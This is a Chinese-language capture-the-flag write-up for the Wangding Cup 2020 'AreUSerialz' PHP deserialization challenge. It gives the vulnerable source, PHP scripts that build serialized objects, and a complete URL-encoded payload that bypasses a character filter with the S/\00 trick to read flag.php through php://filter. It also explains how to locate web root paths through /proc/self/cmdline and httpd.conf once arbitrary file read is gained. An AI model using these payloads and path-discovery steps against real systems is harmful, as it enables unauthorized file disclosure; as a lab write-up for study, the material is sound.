網鼎杯2020 AreUSerialz


0x00 前言

...有一說一,趙總的BUUCTF上的這道題目並沒有復現到精髓。其實感覺出題人的題目本身沒有那么簡單的,只不過非預期實在是太簡單惹。

涉及知識點:

1.php中protected變量反序列化的小Trick

2.獲取任意文件讀取權限后的文件絕對路徑的查找

<!--more-->

0x01 源碼

直接進入題目就可以看到源碼了。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

   protected $op;
   protected $filename;
   protected $content;

   function __construct() {
       $op = "1";
       $filename = "/tmp/tmpfile";
       $content = "Hello World!";
       $this->process();
  }

   public function process() {
       if($this->op == "1") {
           $this->write();
      } else if($this->op == "2") {
           $res = $this->read();
           $this->output($res);
      } else {
           $this->output("Bad Hacker!");
      }
  }

   private function write() {
       if(isset($this->filename) && isset($this->content)) {
           if(strlen((string)$this->content) > 100) {
               $this->output("Too long!");
               die();
          }
           $res = file_put_contents($this->filename, $this->content);
           if($res) $this->output("Successful!");
           else $this->output("Failed!");
      } else {
           $this->output("Failed!");
      }
  }

   private function read() {
       $res = "";
       if(isset($this->filename)) {
           $res = file_get_contents($this->filename);
      }
       return $res;
  }

   private function output($s) {
       echo "[Result]: <br>";
       echo $s;
  }

   function __destruct() {
       if($this->op === "2")
           $this->op = "1";
       $this->content = "";
       $this->process();
  }

}

function is_valid($s) {
   for($i = 0; $i < strlen($s); $i++)
       if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
           return false;
   return true;
}

if(isset($_GET{'str'})) {

   $str = (string)$_GET['str'];
   if(is_valid($str)) {
       $obj = unserialize($str);
  }

}

0x02 分析

1.第一步-弱類型比較

大致講一下比賽時候的分析過程吧。我吃完飯回來,隊友突然給我來了一句__construct構造函數可以調用process函數,我迷惑了一秒,我之前一直以為這是一道反序列化的。然后趕緊查了一下資料,還好反序列化可以操縱的魔術方法中沒有__construct,記錄一下。

分析源碼發現可以調用的魔術方法只有__destruct。而$op=2可以讀文件,$op=1可以寫文件,但是它把$content設置為0說明寫這個操作是絕對實用不了了。那么我們把目光放在讀文件上。

if($this->op === "2")
           $this->op = "1";

else if($this->op == "2") {
           $res = $this->read();
           $this->output($res);
}

這個放在這里應該沒有人不會繞過吧。直接弱類型比較設置$op=2就完事了。然后本來以為可以直接構造pop鏈開始讀文件的。但是遇到了下面的函數:

function is_valid($s) {
   for($i = 0; $i < strlen($s); $i++)
       if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
           return false;
   return true;
}

本來這里是沒有什么問題的,但是因為你的變量是protected類型的,所以會產生%00字符,從而導致繞過失敗。

2.第二步-繞過is_valid()

這里其實有兩種繞過方法,這里都講一下吧。

1.可以將protected類型的變量設置為public類型。然后就可以輕松繞過了。

<?php
class FileHandler {

   public $op = 2;
   public  $filename = "";
   public  $content = "Hello";

}

$a = new FileHandler();
$a->filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
$b = serialize($a);
echo $b;

?>

2.反序列化之前會做逐字判斷,ascii必須>=32或<=125。由於這里是protected類型,需要加上%00進行標識 但是%會被過濾,就用十六進制\00和S來繞過。

<?php
class FileHandler {

   protected $op = 2;
   protected  $filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
   protected  $content = "Hello";

}

$a = new FileHandler();
$b = urlencode(serialize($a));
echo $b;
?>

然后將payload中的%00替換為\00s替換為S就行了。替換后的payload如下:

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A71%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A5%3A%22Hello%22%3B%7D

然后到這里,BUUCTF上的題目就可以直接讀取flag了。

image-20200511144722884

但是到這里網鼎杯的題卻沒有出來,當時沒有截圖,不過有幸找到了WriteUp。這里分析一下。

3.獲取目標的絕對路徑

網鼎杯中直接用相對路徑讀取發現會沒有回顯。猜測后端中修改了include函數的路徑,也不對啊,非預期就是讀同一級的flag.php啊?搞不明白好吧。反正使用絕對路徑是絕對沒有問題的。那么有了任意文件讀取權限怎么獲取絕對路徑呢?

首先可以讀取/proc/self/cmdline這個文件。可以獲得如下結果。

img

然后讀取配置文件/web/config/httpd.conf。獲得網站的絕對路徑。

技術圖片

然后讀取/web/html/flag.php就好了。

這里BUU就不要嘗試,因為你發現,BUU使用的是apache2。根目錄就是我們熟悉的/var/www/html

0x03 結語

還行,通過這道題目學到了很多。尤其是S\00繞過。學WEB的師傅可以找我玩啊,可以一起學習一起進步的-->_<--。

QQ:550532788

0x04 參考

http://www.mamicode.com/info-detail-3004276.html

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM